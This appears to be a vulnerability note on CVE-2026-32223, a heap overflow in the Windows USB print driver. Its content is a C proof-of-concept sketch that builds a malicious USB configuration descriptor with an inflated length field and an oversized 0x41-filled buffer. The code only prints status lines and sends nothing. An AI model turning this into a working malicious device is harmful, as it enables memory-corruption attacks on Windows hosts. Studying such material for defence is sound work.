CVE-2026-32223 Windows USB打印驱动堆溢出漏洞

/* * PoC Concept for CVE-2026-32223 * This code demonstrates the structure of a malicious USB descriptor * intended to trigger the heap overflow in the Windows USB Print Driver. * Requires specialized hardware (e.g., USB Rubber Ducky, Facedancer) to execute. */ #include <stdio.h> #include <string.h> // Structure simulating a malicious USB configuration descriptor typedef struct { unsigned char bLength; unsigned char bDescriptorType; unsigned short wTotalLength; unsigned char bNumInterfaces; unsigned char bConfigurationValue; unsigned char iConfiguration; unsigned char bmAttributes; unsigned char MaxPower; // Malicious payload padding to cause overflow unsigned char overflow_buffer[500]; } MaliciousUSBDescriptor; int main() { MaliciousUSBDescriptor payload; // Initialize standard header fields payload.bLength = 9; payload.bDescriptorType = 2; // Configuration Descriptor payload.wTotalLength = 0x0FFF; // Abnormal length hint payload.bNumInterfaces = 1; payload.bConfigurationValue = 1; payload.iConfiguration = 0; payload.bmAttributes = 0x80; // Bus Powered payload.MaxPower = 50; // Fill buffer with pattern 'A' (0x41) to trigger overflow memset(payload.overflow_buffer, 0x41, sizeof(payload.overflow_buffer)); printf("[*] Generating malicious payload for CVE-2026-32223...\n"); printf("[*] Payload size: %lu bytes\n", sizeof(payload)); printf("[*] Pattern: 0x41 (Heap corruption expected)\n"); // In a real exploit scenario, this data would be sent via USB controller // when the host enumerates the device. return 0; }
